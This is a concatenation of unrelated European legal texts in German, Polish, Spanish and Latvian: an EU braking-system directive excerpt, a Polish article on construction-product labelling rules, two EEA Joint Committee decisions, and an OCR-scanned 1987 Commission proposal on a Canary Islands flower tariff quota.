Richtlinie geänderten Fassung entsprechen . ( 3 ) Ab 1 . Oktober 1991 dürfen die Mitgliedstaaten die Erstzulassung von Fahrzeugen untersagen, deren Bremsanlagen nicht den Vorschriften der Richtlinie 71/320/EWG in der durch die vorliegende Richtlinie geänderten Fassung entsprechen . Artikel 3 Vor dem 1 . Oktober 1988 setzen die Mitgliedstaaten die erforderlichen Vorschriften in Kraft, um dieser Richtlinie nachzukommen, und setzen die Kommission unverzueglich hiervon in Kenntnis . Artikel 4 Diese Richtlinie ist an alle Mitgliedstaaten gerichtet . Brüssel, den 24 . März 1988 Für die Kommission COCKFIELD Vizepräsident ( 1 ) ABl . Nr . L 202 vom 6 . 9 . 1971, S . 37 . ( 2 ) ABl . Nr . L 380 vom 31 . 12 . 1985, S . 1 . ( 3 ) ABl . Nr . L 42 vom 23 . 2 . 1970, S . 1 . ANHANG Änderungen der Anhänge der Richtlinie 71/320/EWG, geändert durch die Richtlinien 74/132/EWG, 75/524/EWG, 79/489/EWG und 85/647/EWG ANHANG I : BEGRIFFSBESTIMMUNGEN UND BAUVORSCHRIFTEN Nach Absatz 1.17 sind folgende neue Absätze 1.18, 1.19 und 1.20 einzufügen : 1.18 . Kraftomnibus für den Zwischenortsverkehr Ein ,Kraftomnibus für den Zwischenortsverkehr' ist ein Fahrzeug, das für den Zwischenortsverkehr ausgelegt und ausgerüstet ist; er verfügt über kein besonderes Stehplatzangebot, jedoch können über kurze Strecken im Mittelgang stehende Fahrgäste befördert werden . 1.19 . Reiseomnibus für den Fernverkehr Ein ,Reiseomnibus für den Fernverkehr' ist ein Fahrzeug, das für Fernfahrten ausgelegt und ausgerüstet ist; er gewährleistet einen gewissen Komfort für sitzende Fahrgäste und befördert keine stehenden Fahrgäste . 1.20 . Automatischer Blockierverhinderer Siehe Anhang X, Abschnitt 2.1 ." Nach Abschnitt 2.2.1.21 sind folgende neue Abschnitte 2.2.1.22 und 2.2.1.23 einzufügen: 2.2.1.22 . Bestimmte Kraftfahrzeuge müssen gemäß Anhang X entsprechend der folgenden Tabelle mit automatischen Blockierverhinderern ( ABV ) ausgerüstet werden : Fahrzeug Zulässiges Gesamt - gewicht ABV - Kategorie Klasse Beschreibung M3 Kraftomnibusse für den Zwischenortsverkehr und Reiseomnibusse für den Fernverkehr > 12 t 1 N3 Kraftfahrzeuge, die zum Ziehen von Anhängern der Klasse O4 zugelassen sind > 16 t 1 2.2.1.23 . Sind in Abschnitt 2.2.1.22 nicht genannte Kraftfahrzeuge mit automatischen Blockierverhinderern ausgerüstet, müssen sie den Vorschriften des Anhangs X entsprechen ." Nach Absatz 2.2.2.12 sind folgende neue Absätze 2.2.2.13 und 2.2.2.14 einzufügen : 2.2.2.13 . Anhänger der Klasse O4 müssen mit automatischen Blockierverhinderern nach Anhang X ausgerüstet sein . 2.2.2.14 . Sind in Abschnitt 2.2.2.13 nicht genannte Anhänger mit automatischen Blockierverhinderern ausgerüstet, so müssen sie den Vorschriften des Anhangs X entsprechen ." ANHANG X : VORSCHRIFTEN FÜR DIE PRÜFUNG VON BREMSANLAGEN MIT AUTOMATISCHEN BLOCKIERVERHINDERERN ( ABV ) Abschnitt 1.1 erhält folgende Fassung : 1.1 . Zweck dieses Anhangs ist die Festlegung der Anforderungen für Bremsanlagen mit ABV, die in Strassenfahrzeugen eingebaut sind . Ausserdem müssen Kraftfahrzeuge, die einen Anhänger ziehen dürfen, sowie die mit Druckluftbremsanlagen ausgerüsteten Anhänger im beladenen Zustand den Kompatibilitätsbedingungen, wie sie in der Anlage in Absatz 1 .1.4.2 von Anhang II festgelegt sind, genügen ." Abschnitt 3.2 erhält folgende Fassung : 3.2 . Ein Anhänger gilt als mit einem dem Punkt 1 der Anlage in Absatz 1.1.4.2 von Anhang II entsprechenden ABV ausgerüstet, wenn zumindest zwei Räder auf verschiedenen Seiten des Fahrzeugs von einem ABV direkt geregelt werden und alle entsprechenden Vorschriften dieses Anhangs erfuellt sind . Ferner müssen bei Änhängern mit Drehschemellenkung wenigstens ein Rad einer Vorderachse und ein ( diagonal entgegengesetztes ) Rad einer Hinterachse durch unabhängige Stellglieder direkt geregelt werden ."


text:
Zmiany w dopuszczaniu stosowania wyrobów budowlanych w budownictwie | Administrator24.info - portal dla Zarządców Nieruchomości
 Wprowadzane zmiany istotne są nie tylko dla producentów wyrobów budowlanych i hurtowników, ale także dla inwestorów, zwłaszcza w sezonie budowlanym 2019, tj. w czasie gdy wchodzą w życie nowe przepisy
 Warunki wprowadzania wyrobów budowlanych do obrotu
 Wprowadzenie do obrotu wyrobów budowlanych zostało uzależnione między innymi od tego czy dany wyrób został objęty normą w związku z jego potwierdzonymi właściwościami użytkowymi.
 Według art. 4 ustawy o wyrobach budowlanych wyrób budowlany może być wprowadzony do obrotu (lub udostępniany na rynku krajowym), jeżeli nadaje się do stosowania przy wykonywaniu robót budowlanych, w zakresie odpowiadającym jego właściwościom użytkowym i zamierzonemu zastosowaniu. Oznacza to, że jego właściwości użytkowe muszą umożliwiać zaprojektowanym i wykonanym obiektom budowlanym spełnienie podstawowych wymagań art. 5 ust. 1 pkt 1 Prawa budowlanego (PB), tj.:
 Warunkiem wprowadzenia do obrotu takiego wyrobu budowlanego jest jego oznakowanie na warunkach cyt. ustawy i przepisów UE.
 Oznakowanie wyrobu budowlanego
 Wyrób budowlany objęty normą zharmonizowaną lub zgodny z wydaną dla niego europejską oceną techniczną EOT może być wprowadzony do obrotu lub udostępniany na rynku krajowym wyłącznie zgodnie z przepisami rozporządzenia UE nr 305/2011. Oznakowanie CE symbolizuje zgodność wyrobu z odpowiednimi wymaganiami cytowanego rozporządzenia, nałożonymi na producenta, oraz oznacza, że jest on zgodny z wymaganiami przepisów prawnych, łącznie z wymaganiami dotyczącymi procedur oceny zgodności. Znak CE stanowi deklarację producenta, że wyrób wprowadzany do obrotu spełnia zasadnicze wymagania ustawy o systemie oceny zgodności.
 Producent, umieszczając na wyrobie budowlanym znak CE, wskazuje, że bierze na siebie odpowiedzialność za zgodność tego wyrobu z deklarowanymi właściwościami użytkowymi oraz za jego zgodność ze wszystkimi mającymi zastosowanie wymaganiami prawnymi. Podstawa, zasady i procedura przyjmowania europejskich dokumentów oceny technicznejwyrobów budowlanych zostały określone przepisami cyt. rozporządzenia nr 305/2011.
 Dokonanie oceny i weryfikacji stałości właściwości użytkowych w odniesieniu do zasadniczych charakterystyk danego wyrobu budowlanego uprawnia producenta do sporządzenia dla niego deklaracji właściwości użytkowych oraz umieszczenia na nim oznakowania CE. Potwierdzenie tych właściwości znajduje się w dokumencie oceny, zwanym „europejską oceną techniczną”.
 Może Cię zainteresuje: Co dalej z białymi certyfikatami w spółdzielniach?
 Zgodnie z art. 2 pkt 13 rozporządzenia nr 305/2011, europejska ocena techniczna oznacza udokumentowaną ocenę właściwości użytkowych wyrobu budowlanego w odniesieniu do jego zasadniczych charakterystyk, która jest wydawana przez jednostkę ds. oceny technicznej na wniosek producenta, na podstawie europejskiego dokumentu oceny. Zawiera właściwości użytkowe podlegające zadeklarowaniu, odnoszące się do zasadniczych charakterystyk wyrobu oraz szczegóły techniczne niezbędne do wdrożenia systemu oceny i weryfikacji stałości właściwości użytkowych.
 Jak wyjaśnia ministerstwo, europejskie oceny techniczne nie są – w odróżnieniu do europejskich aprobat technicznych wydawanych na podstawie wcześniej obowiązujących przepisów – zharmonizowanymi specyfikacjami technicznymi. Producenci i importerzy mogą wykorzystywać te europejskie aprobaty techniczne wydane przed dniem 1 lipca 2013 r. tylko do końca okresu ważności tych aprobat.
 Jak odróżnić system oceny wyrobów budowlanych na rynku krajowym?
 W systemie europejskim wprowadzania wyrobów budowlanych do obrotu z oznakowaniem CE stosowane są zharmonizowane specyfikacje techniczne, przez które należy rozumieć: normy zharmonizowane, europejskie dokumenty oceny.
 W systemie europejskim warunkiem umieszczenia znaku CE na wyrobie jest sporządzenie deklaracji właściwości użytkowych, która wyraża właściwości użytkowe wyrobu budowlanego w odniesieniu do jego zasadniczych charakterystyk zgodnie z odpowiednimi zharmonizowanymi specyfikacjami technicznymi dla zamierzonego zastosowania tego wyrobu.
 Z kolei, w systemie krajowym wprowadzanie do obrotu wyrobów budowlanych, z oznakowaniem tzw. znakiem budowlanym, przez specyfikację techniczną należy rozumieć: Polską Normę danego wyrobu (o ile nie jest wycofana), aprobatę techniczną.
 Oznakowanie wyrobu budowlanego znakiem budowlanymjest dopuszczalne tylko wtedy, jeżeli producent, mający siedzibę w Polsce, dokonał oceny zgodności i także wydał krajową deklarację zgodności z Polską Normą wyrobu albo z aprobatą techniczną. Ocena zgodności obejmuje właściwości użytkowe wyrobu budowlanego, odpowiednio do jego przeznaczenia, mające wpływ na spełnienie przez obiekt budowlany wymagań podstawowych.
 Według ustawy o wyrobach budowlanych, wyrób budowlany nieobjęty normą zharmonizowaną, dla którego nie została wydana europejska ocena techniczna, może być wprowadzony do obrotu lub udostępniany na rynku krajowym, jeżeli został oznakowany znakiem budowlanym.
 Wymagania dotyczące obowiązku oznakowania wyrobów budowlanych znakiem budowlanym w systemie krajowym stosuje się do wyrobów budowlanych niepodlegających przepisom rozporządzenia nr 305/2011, tj. wyrobów nieobjętych normą zharmonizowaną, dla której zakończył się okres koegzystencji, i dla których nie została wydana europejska ocena techniczna.
 Wraz z wyrobem budowlanym udostępnianym na rynku krajowym dostarcza się informacje o jego właściwościach użytkowych oznaczonych zgodnie z przepisami państwa, w którym wyrób budowlany został wprowadzony do obrotu, instrukcje stosowania, instrukcje obsługi oraz informacje dotyczące zagrożenia dla zdrowia i bezpieczeństwa, jakie ten wyrób stwarza podczas stosowania i użytkowania.
 Kiedy znak CE, a kiedy znak budowlany?
 Wymaganiom europejskim według cyt. rozporządzenia nr 305/2011 podlegają obowiązkowo te wyroby budowlane, które objęte są normami zharmonizowanymi, lub dla których wydane zostały na wniosek producenta europejskie oceny techniczne. W systemie europejskim obowiązuje oznakowanie CE.
 Natomiast wymaganiom systemu krajowego (z oznakowaniem wyrobów znakiem budowlanym), podlegają te wyroby budowlane wprowadzane do obrotu na terytorium kraju, które spełniają dwie przesłanki:
 nie podlegają obowiązkowo rozporządzeniu nr 305/2011,
 należą do grup wyrobów budowlanych objętych obowiązkiem sporządzania krajowej deklaracji właściwości użytkowych.
 Warunki oznakowania znakiem budowlanym
 Po pierwsze: oznakowanie znakiem budowlanym umieszcza się na wyrobie budowlanym, dla którego producent sporządził, na swoją wyłączną odpowiedzialność, krajową deklarację właściwości użytkowych wyrobu budowlanego (krajowa deklaracja).
 Po drugie: właściwości użytkowe wyrobu budowlanego, zadeklarowane w krajowej deklaracji zgodnie z właściwą PN wyrobu lub krajową oceną techniczną, należy odnieść do tych zasadniczych charakterystyk, które mają wpływ na spełnienie podstawowych wymagań przez obiekty budowlane, i to zgodnie z zamierzonym zastosowaniem tego wyrobu.
 Po trzecie: informacje o właściwościach użytkowych wyrobu budowlanego w odniesieniu do jego zasadniczych charakterystyk można podać wyłącznie wtedy, gdy zostały określone w krajowej deklaracji.
 Po czwarte: przez umieszczenie znaku budowlanego na wyrobie producent ponosi odpowiedzialność za zgodność tego wyrobu z deklarowanymi właściwościami użytkowymi, wymaganiami określonymi w ustawie o wyrobach budowlanych oraz w przepisach odrębnych, mającymi zastosowanie do tego wyrobu.
 Przepisy ustawy o wyrobach budowlanych przewidują również możliwość oznakowania znakiem budowlanym wyrobów budowlanych regionalnych.
 Warunki dla regionalnego wyrobu budowlanego
 Po pierwsze: wyrób budowlany wytwarzany tradycyjnie, na określonym terenie, metodą wieloletniej praktyki, przeznaczony do lokalnego stosowania, może być oznakowany znakiem budowlanym, na wyłączną odpowiedzialność producenta.
 Po drugie: na wniosek producenta, decyzję, że dany wyrób budowlany jest regionalnym wyrobem budowlanym, orzeka wydaje właściwy wojewódzki inspektor nadzoru budowlanego.
 Po trzecie: oznakowanie znakiem budowlanym regionalnego wyrobu budowlanego jest dopuszczalne wyłącznie po uzyskaniu takiej decyzji, oraz oświadczenia przez producenta, że wyrób budowlany został wytworzony w sposób według wieloletniej praktyki oraz że nadaje się do stosowania zgodnie z przeznaczeniem.
 Krajowa ocena techniczna dla wyrobu budowlanego wydawana jest po przeprowadzeniu postępowania w tej sprawie na podstawie oceny jego właściwości użytkowych i jego przewidywanej trwałości, potwierdzonych m.in. badaniami, obliczeniami, oględzinami, opiniami ekspertów lub innymi dokumentami, przy uwzględnieniu techniczno-budowlanych, oraz zasad wiedzy technicznej.
 Krajowa ocena techniczna wydawana jest na wniosek producenta przez wyznaczone jednostki oceny technicznej, chodzi głównie o upoważnione instytuty badawcze. Krajową ocenę techniczną wydaje jednostka oceny technicznej na okres 5 lat. Okres ten może być przedłużany na kolejne okresy nie dłuższe niż 5 lat. Krajowa ocena techniczna obowiązuje od dnia jej wydania.
 Jednakże, wydana krajowa ocena techniczna może być uchylona z własnej inicjatywy takiej jednostki oceny technicznej albo na wniosek Głównego Inspektora Nadzoru Budowlanego.
 Może Ci się spodoba: Rewolucyjna zmiana dot. wspólnot mieszkaniowych
 Ważna dokumentacja wyrobu budowlanego
 Z jednej strony producent wyrobu budowlanego jest obowiązany do dysponowania wymaganą dokumentacją dla danego wyrobu, ale z drugiej jest obowiązany do dostarczenia kopii krajowej deklaracji z każdym wyrobem udostępnianym na rynku krajowym. Wraz z krajową deklaracją dostarcza się (lub udostępnia) kartę charakterystyki lub informacje o substancjach zawartych w danym wyrobie budowlanym.
 A zatem obowiązuje pełna paszportyzacja wyrobu budowlanego na każdym etapie wytwarzania, rozprowadzania i budowania, czyli locou producenta, locou hurtownika, locou inwestora na placu budowy.Producent przechowuje krajową deklarację oraz związaną z nią dokumentację techniczną przez okres co najmniej 10 lat od dnia wprowadzenia do obrotu wyrobu budowlanego. Natomiast inwestor przechowuje dokumentację wyrobów budowlanych zarówno w okresie budowy, jak i po rozpoczęciu użytkowania obiektu budowlanego wraz z całą dokumentacją techniczno-budowlaną.
 Producent, deklarując właściwości użytkowe wyrobu budowlanego w krajowej deklaracji potwierdza, że stosuje krajowe systemy oceny i weryfikacji stałości właściwości użytkowych wyrobu budowlanego określone w przepisach wykonawczych do ustawy.
 Po pierwsze: „Producent wyrobu budowlanego wymienionego w załączniku nr 1 do rozporządzenia, który zgodnie z przepisami obowiązującymi do dnia 31 grudnia 2016 r. nie był objęty obowiązkiem znakowania znakiem budowlanym, nie jest obowiązany do dnia 30 czerwca 2019 r. sporządzać krajowej deklaracji przy wprowadzaniu do obrotu lub udostępnianiu na rynku krajowym tego wyrobu budowlanego.”
 Powstaje pytanie, czy takie zatory mogą być przyczyną problemów inwestorów, poszukujących w okresie sezonu budowlanego określonych wyrobów budowlanych.
 System kontroli wyrobów budowlanych
 W związku z przepisami Prawa budowlanego do kontroli wyrobów budowlanych jest upoważniony z urzędu organ nadzoru budowlanego, tj. WINB lub GINB.
 W celu ustalenia, czy dany wyrób budowlany posiada deklarowane właściwości użytkowe, organ ten może pobierać nieodpłatnie próbki wyrobu budowlanego nie tylko u producenta, sprzedawcy, ale także próbki z wyrobów budowlanych składowanych na terenie budowy, zwłaszcza wtedy, gdy jest budowa deweloperska albo budowa prowadzona z wykorzystaniem środków publicznych. Wyniki badań próbek wyrobu budowlanego mogą stanowić podstawę wszczęcia kontroli przez WINB.
 Organy administracji architektoniczno-budowlanej i nadzoru budowlanego przy wykonywaniu zadań określonych przepisami Prawa budowlanego mogą żądać od uczestników procesu budowlanego informacji lub udostępnienia m.in. dokumentów świadczących, że wyroby budowlane zostały wprowadzone do obrotu lub udostępnione na rynku krajowym zgodnie z przepisami odrębnymi.
 W razie powstania uzasadnionych wątpliwości co do jakości wyrobów budowlanych organy mogą nałożyć na podmioty, o których mowa, obowiązek dostarczenia w określonym terminie odpowiednich ocen technicznych lub ekspertyz. Koszty ocen i ekspertyz ponosi zawsze osoba zobowiązana do ich dostarczenia a nie organ.
 Na stronie internetowej Głównego Urzędu Nadzoru Budowlanego zamieszczono informacje o wynikach badań wyrobów budowlanych pobranych przez inspektorów WINB do oceny zgodności z normami i deklaracjami właściwości, także w tym roku. W poprzednim stanie prawnym, przed nowelizacją prawa ok. 30% kontrolowanych wyrobów budowlanych nie spełniało wymagań.
 kontrola działania wojewódzkich organów nadzoru budowlanego dot. sprawdzania zgodności wyrobów budowlanych,
 prowadzenie punktu kontaktowego do spraw wyrobów budowlanych.
 Według przepisów karnych ustawy o wyrobach budowlanych – karze pieniężnej do 10 000 zł podlega:
 importer, który nie dopełnia obowiązku umieszczenia informacji umożliwiających jego identyfikację na wyrobie budowlanym podlegającym obowiązkowi oznakowania CE lub znakiem budowlanym;
 importer, który nie dopełnia obowiązku zapewnienia udostępnienia dokumentacji technicznej właściwemu organowi, lub przechowywania kopii deklaracji właściwości użytkowych albo krajowej deklaracji;
 sprzedawca, który udostępnia na rynku krajowym wyrób budowlany, podlegający obowiązkowi oznakowania CE lub znakiem budowlanym bez tego oznakowania lub bez informacji towarzyszącej temu oznakowaniu, lub do którego nie jest dołączona lub udostępniona deklaracja właściwości użytkowych albo krajowa deklaracja.
 Zmiany prawa, które wejdą w życie z dniem 1 lipca 2019 r., są istotne nie tylko dla producentów i hurtowników, ale także dla inwestorów realizujących zamierzenia budowlane. Przypomnijmy jednak, że za prawidłowe stosowanie wyrobów budowlanych przy robotach budowlanych nie tylko odpowiada inwestor, ale także inni uczestnicy procesu budowlanego, projektant, inspektor nadzoru inwestorskiego i kierownik budowy.
 Do obowiązków kierownika budowy według art. 22 PB należy m.in. sprawdzanie jakości wykonywanych robót budowlanych i stosowania przy wykonywaniu tych robót wyrobów zgodnie z art. 10 PB. Z kolei, inspektor nadzoru inwestorskiego w ramach nadzoru bieżącego ma prawo wydawać kierownikowi budowy lub kierownikowi robót polecenia, potwierdzone wpisem do dziennika budowy, dotyczące:
 przedstawienia ekspertyz, dotyczących prowadzonych robót budowlanych oraz informacji i dokumentów potwierdzających zastosowanie przy wykonywaniu robót budowlanych wyrobów, zgodnie z art. 10 PB,
 przekazania informacji i dokumentów potwierdzających dopuszczenie do stosowania urządzeń technicznych.
 Osoby, które dopuszczą się wykroczeń przy projektowaniu, kierowaniu, nadzorze robót budowlanych w związku z naruszeniem przepisów art. 10 PB, mogą ponieść odpowiedzialność karną i zawodową, określoną w przepisach karnych prawa budowlanego i przepisów kodeksowych [kodeks wykroczeń, kodeks karny].
 Jednoznacznie na ten temat wypowiadały się sądy. „Kierownik budowy jest tylko jeden i przez cały okres, w jakim pełni swoją funkcję, ponosi odpowiedzialność za przejęty teren budowy i wszystkie zdarzenia, które mają tam miejsce. Projektantów może być kilku, inspektorów nadzoru inwestorskiego z założenia jest wielu, natomiast kierownik budowy jest jeden. Oczywiście na budowie może występować wielu kierowników robót budowlanych, jednak ich funkcje są służebne w stosunku do kierownika budowy i ich udział w procesie budowlanym w żaden sposób nie ogranicza ilości obowiązków spoczywających na kierowniku budowy” – uznał WSA w Warszawie w wyroku z dnia18 maja 2016 r. (VI SA/Wa 3299/15).
 Dwa lata wcześniej w uzasadnieniu wyroku z dnia 27 czerwca 2013 r. (I ACa 521/13) SA w Krakowie podał: „To kierownik budowy powinien dbać o wykonywanie prac budowlanych zgodnie z zatwierdzonym projektem. Dysponuje on zarówno wiedzą specjalistyczną, konieczną do oceny propozycji inwestora, jak i instrumentami prawnymi mogącymi powstrzymać bezprawne działania inwestora. Jeśli inwestor proponuje rozwiązania wykraczające poza projekt, kierownik budowy winien się temu sprzeciwić i w ostateczności wstrzymać budowę”.
 Podobne stanowisko w sprawie odpowiedzialności wykonawcy robót zajął również Sąd Administracyjny w Warszawie z dnia 5 marca 2015 r. (VI ACa 725/14), który orzekł: „Zgodnie z art. 17 PB uczestnikami procesu budowlanego są: inwestor, inspektor nadzoru inwestorskiego, projektant, kierownik budowy lub kierownik robót. Wykonawca nie jest więc uczestnikiem procesu budowlanego w rozumieniu prawa budowlanego. Zgodnie z art. 18 ust. 1 pkt 2 PB, do obowiązków inwestora należy m.in. zapewnienie objęcia kierownictwa budowy przez kierownika budowy. Obowiązki kierownika budowy zostały określone w art. 22 PB. Obowiązki te obejmują określone w ustawie uprawnienia realizowane na budowie wobec wykonawcy, lecz nie skutkuje to <<uwolnieniem>> wykonawcy od odpowiedzialności odszkodowawczej wobec inwestora za nienależyte wykonanie umowy o roboty budowlane, na podstawie art. 471 KC”.
 krajowe oceny techniczne (kot) |


text:
 8.5.2008
 ES
 Diario Oficial de la Unión Europea
 L 124/18
 DECISIÓN DEL COMITÉ MIXTO DEL EEE
 no 156/2007
 de 7 de diciembre de 2007
 por la que se modifica el anexo II (Reglamentaciones técnicas, normas, ensayos y certificación) del Acuerdo EEE
 EL COMITÉ MIXTO DEL EEE,
 Visto el Acuerdo sobre el Espacio Económico Europeo, en la redacción dada al mismo por el Protocolo por el que se adapta el Acuerdo sobre el Espacio Económico Europeo, en lo sucesivo denominado «el Acuerdo», y, en particular, su artículo 98,
 Considerando lo siguiente:
 (1)
 El anexo II del Acuerdo fue modificado por la Decisión del Comité Mixto del EEE no 141/2007, de 26 de octubre de 2007 (1).
 (2)
 Debe incorporarse al Acuerdo la Decisión 2007/395/CE de la Comisión, de 7 de junio de 2007, relativa a las disposiciones nacionales sobre la utilización de parafinas cloradas de cadena corta notificadas por el Reino de los Países Bajos con arreglo al artículo 95, apartado 4, del Tratado CE (2).
 DECIDE:
 Artículo 1
 Después del punto 12x (Directiva 2006/66/CE del Parlamento Europeo y del Consejo) del capítulo XV del anexo II del Acuerdo, se añade el siguiente punto:
 «12y.
 32007 D 0395: Decisión 2007/395/CE de la Comisión, de 7 de junio de 2007, relativa a las disposiciones nacionales sobre la utilización de parafinas cloradas de cadena corta notificadas por el Reino de los Países Bajos con arreglo al artículo 95, apartado 4, del Tratado CE (DO L 148 de 9.6.2007, p. 17).».
 Artículo 2
 Los textos de la Decisión 2007/395/CE en lenguas islandesa y noruega, que se publicarán en el Suplemento EEE del Diario Oficial de la Unión Europea, son auténticos.
 Artículo 3
 La presente Decisión entrará en vigor el 8 de diciembre de 2007, siempre que se hayan transmitido al Comité Mixto del EEE todas las notificaciones previstas en el artículo 103, apartado 1, del Acuerdo (3).
 Artículo 4
 La presente Decisión se publicará en la sección EEE y en el Suplemento EEE del Diario Oficial de la Unión Europea.
 Hecho en Bruselas, el 7 de diciembre de 2007.
 Por el Comité Mixto del EEE
 El Presidente
 Stefán Haukur JÓHANNESSON
 (1) DO L 100 de 10.4.2008, p. 68.
 (2) DO L 148 de 9.6.2007, p. 17.
 (3) No se han indicado preceptos constitucionales.


text:
 15.12.2016
 LV
 Eiropas Savienības Oficiālais Vēstnesis
 L 341/75
 EEZ APVIENOTĀS KOMITEJAS LĒMUMS
 Nr. 174/2015
 (2015. gada 11. jūnijs),
 ar ko groza EEZ līguma 31. protokolu par sadarbību īpašās jomās, kas nav četras pamatbrīvības [2016/2209]
 EEZ APVIENOTĀ KOMITEJA,
 ņemot vērā Līgumu par Eiropas Ekonomikas zonu (“EEZ līgums”) un jo īpaši tā 86. un 98. pantu,
 tā kā:
 (1)
 Eiropas Parlamenta un Padomes 2013. gada 11. decembra Regula (ES) Nr. 1296/2013 par Eiropas Savienības Nodarbinātības un sociālās inovācijas programmu (“EaSI”) un ar kuru groza Lēmumu Nr. 283/2010/ES, ar ko izveido Eiropas progresa mikrofinansēšanas instrumentu nodarbinātībai un sociālajai iekļaušanai (1), tika iekļauta EEZ līgumā ar EEZ Apvienotās komitejas 2014. gada 27. jūnija Lēmumu Nr. 151/2014 (2).
 (2)
 Norvēģijas ierobežotā līdzdalība programmā būtu jāpaplašina, attiecinot to uz PROGRESS apakšprogrammu.
 (3)
 Tāpēc EEZ līguma 31. protokols būtu jāgroza, lai šo paplašināto sadarbību īstenotu no 2015. gada 1. janvāra,
 IR PIEŅĒMUSI ŠO LĒMUMU.
 1. pants
 EEZ līguma 31. protokola 15. panta 8. punktā vārdus “EURES apakšprogramma” aizstāj ar vārdiem “PROGRESS un EURES apakšprogrammas”.
 2. pants
 Šis lēmums stājas spēkā nākamajā dienā pēc pēdējā paziņojuma iesniegšanas saskaņā ar EEZ līguma 103. panta 1. punktu (*1).
 To piemēro no 2015. gada 1. janvāra.
 3. pants
 Šo lēmumu publicē Eiropas Savienības Oficiālā Vēstneša EEZ iedaļā un tā EEZ papildinājumā.
 Briselē, 2015. gada 11. jūnijā
 EEZ Apvienotās komitejas vārdā –
 priekšsēdētājs
 Gianluca GRIPPA
 (1) OV L 347, 20.12.2013., 238. lpp.
 (2) Skatīt šā Oficiālā Vēstneša 44. lpp.
 (*1) Konstitucionālās prasības nav norādītas.


text:
ARCHIVES HISTORIQUES
 DE LA COMMISSION
 COLLECTION RELIEE DES
 DOCUMENTS "COM"
 COM (87) 566
 Vol. 1987/0281
 ---pagebreak--- Disclaimer
 Conformément au règlement (CEE, Euratom) n° 354/83 du Conseil du 1er février 1983 concernant
 l'ouverture au public des archives historiques de la Communauté économique européenne et de
 la Communauté européenne de l'énergie atomique (JO L 43 du 15.2.1983, p. 1) modifié en dernier
 lieu par le règlement (UE) 2015/496 du Conseil du 17 mars 2015 (JO L79 du 25. 3.2015, p. 1), ce
 dossier est ouvert au public. Le cas échéant, les documents classifiés présents dans ce dossier
 ont été déclassifiés conformément à l'article 5 dudit règlement ou sont considérés déclassifiés
 conformément aux articles 26(3) et 59(2) de la décision (UE, Euratom) 2015/444 de la
 Commission du 13 mars 2015 concernant les règles de sécurité aux fins de la protection des
 informations classifiées de l'Union européenne.
 In accordance with Council Regulation (EEC, Euratom) No 354/83 of 1 February 1983 concerning
 the opening to the public of the historical archives of the European Economic Community and the
 European Atomic Energy Community (OJ L 43, 15.2.1983, p. 1), as last amended by Council
 Regulation (EU) 2015/496 of 17 March 2015 (OJ L 79, 27.3.2015, p. 1), this file is open to the
 public. Where necessary, classified documents in this file have been declassified in conformity
 with Article 5 of the aforementioned regulation or are considered declassified in conformity with
 Articles (26.3) and 59(2) of the Commission Decision (EU, Euratom) 2015/444 of 13 March 2015
 on the security rules for protecting EU classified information.
 In Übereinstimmung mit der Verordnung (EWG, Euratom) Nr. 354/83 des Rates vom 1. Februar
 1983 über die Freigabe der historischen Archive der Europäischen Wirtschaftsgemeinschaft und
 der Europäischen Atomgemeinschaft (ABI. L 43 vom 15.2.1983, S. 1), zuletzt geändert durch die
 Verordnung (EU) Nr. 2015/496 vom 17. März 2015 (ABI. L 79 vom 25.3.2015, S. 1), ist dieser Akt
 der Öffentlichkeit zugänglich. Soweit erforderlich, wurden die Verschlusssachen in diesem Akt in
 Übereinstimmung mit Artikel 5 der genannten Verordnung freigegeben; beziehungsweise werden
 sie auf Grundlage von Artikel 26(3) und 59(2) der Entscheidung der Kommission (EU, Euratom)
 2015/444 vom 13. März 2015 über die Sicherheitsvorschriften für den Schutz von EU-
 Verschlusssachen als herabgestuft angesehen.
 ---pagebreak--- COMISION DE LAS COMUNIDADES EUROPEAS
 COM(87 ) 566 final .
 Bruselas , 29 de noviembre de 1987
 Propuesta de
 REGLAMENTO ( CEE ) DEL CONSEJO
 por el que se establece la apertura , reparto y modo de gestión de un
 contingente arancelario comunitario de determinados productos de la
 floricultura , de los códigos n°s 06.01.10-90 , 06.02.10-90 ,
 06.02.40-11 , 06.02.40-19, 06.02.99-45 , 06.02.99-49, 06.02.99-51 ,
 06.02.99-59 , 06.02.99-70, 06.02.99-99 de la nomenclatura combinada ,
 originários de las Islas Canarias ( 1988 )
 ( presentada por la Comisión )
 C0M(87 ) 566 final .
 ---pagebreak--- J,
 Propuesta de
 REGLAMENTO ( CEE ) N 2 DEL CONSEJO
 de
 por el que se establece la apertura , reparto y modo de gestión de un contingente arancelario comunitario
 de determinados productos de la floricultura , de los códigos n 2 s
 06.01.10-90 , 06.02.10-90 .
 06.02.40-11 , 06.02.40-19 , 06.02.99-45 , 06.02.99-49 , 06.02.99-51 ,
 06.02.99-59 , 06.02.99-70 , 06.02.99-99 de La . nomenc Latura combinada ,
 originários de las Islas Canarias ( 1988 )
 EL CONSEJO DE LAS COMUNIDADES EUROPEAS ,
 Vista el Acta de adhesión de España y de Portugal ( ' ) y , en
 particular, el artículo 4 del Protocolo n° 2 adjunto ,
 Vista la propuesta de la Comisiôn ,
 Considerando que , en virtud del artículo 4 del Protocolo
 n° 2 anejo al Acta de adhesión , y del artículo 2 del
 Reglamento ( CEE ) n 2 1391 / 87 del Consejo , de 18 de
 mayo de 1987 , relativo a determinadas adaptaciones
 del régimen aplicado a las Islas Canarias ( 2 ), deter
 minados productos de la floricultura de los códigos
 números 06.01.10-90 , 06.02.10-90 , 06.02.40-11 , 06.02.40-19 ,
 06.02.99-45 , 06.02.99-49 , 06.02.99-51 , 06.02.99-59 , 06.02.99-70 y
 06.02.99-99 originarios de las Islas Canarias ,
 pueden ser importados en la Comunidad con derechos
 de aduana reducidos , en el marco de un contingente
 arancelario comunitario anual de 4700 toneladas ;
 Considerando que, para el año 1988 , los derechos que
 deben aplicarse dentro del límite del contingente arancela¬
 rio son iguales al 6 de los derechos de la nomenclatura com ¬
 binada ; que, sin embargo, los productos en cuestión se
 benefician de la exención de derechos, cuando se importan
 en la parte de España incluida en el territorio aduanero de
 la Comunidad ; que , cuando los productos se importan en
 Portugal , los derechos contingentarios aplicables deben
 calcularse basándose en las disposiciones en la materia del
 Acta de adhesión de España y de Portugal ; que , para
 beneficiarse del contingente arancelario , los productos en
 cuestión deben responder a determinadas condiciones , de
 marcado y etiquetado , destinadas a servir de prueba de su
 Oliuen ;
 Considerando que a partir de la fecha de apertura de dicho contingente
 La nomenclatura utilizada para el aduanero común quedará sustituida
 por la nomenclatura combinada basada en el Convenio internacional del
 sistema armonizado de designación y de codificación de las mercancías ;
